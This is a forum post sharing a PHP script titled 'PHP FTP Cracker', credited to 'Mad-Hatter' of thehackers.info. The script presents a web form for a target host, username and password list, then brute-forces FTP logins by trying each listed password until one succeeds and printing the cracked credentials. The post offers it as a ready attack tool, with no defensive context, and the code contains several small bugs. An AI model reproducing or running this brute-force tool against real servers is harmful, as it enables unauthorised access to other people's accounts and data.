Jump to content
Gonzalez

PHP FTP Cracker

Recommended Posts

Posted
<?PHP

set_time_limit(0);
#################
# PHP-FTP Brute #
# Mad-Hatter #
#Thehackers.info#
#################

$user = $_POST['user'];
$list = $_POST['list'];
$self = $PHP_SELF;
if (!isset($_POST['go_for_it'])){
$serv = $_POST['serv'];
echo "<center><form method='post' action='$self'></center>
";
echo "<center>Host: <input type='text' name='serv'></center>";
echo "<center>User: <input type='text' name='user'></center>";
echo "<center>List: <input type='text' name='list'></center>
";
echo "<center> <input type='submit' value='Attack' name='go_for_it'></center>";
echo "<center></form></center>";
exit;

}else{

$passl = fopen($list, "r");
while(!feof($passl)){
$pass[$x] = fgets($passl, filesize($passl));
$x++;
}

fclose($passl);

echo "<center>[b]<h2>FTP Password Cracker</h2>[/b]
[Mad-Hatter]";
echo "<hr></center>";

$max = count($pass);
echo "trying ". $max ." Passwords
";
for($x=0; $x<$max; $x++){
$host = ftp_connect($serv, 21);
if(ftp_login($host, $user, $pass[$x])){
echo "[b]Cracked[/b]
";
echo "[+] [b]User:[/b] ".$user."
";
echo "[+] [b]Pass:[/b] ".$pass[$x]."
";
echo "[+] [b]Host:[/b] ".$serv>"
";
echo"<Footer>[url='http://thehackers.info']The Hackers Info[/url]</Footer>";
die();
}else{
echo "Attempt ".$pass[$x]." Failed
";
}
}

ftp_close($ftp);
}
echo"<Footer>[url='http://']The Hackers Info[/url]</Footer>";
?>

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...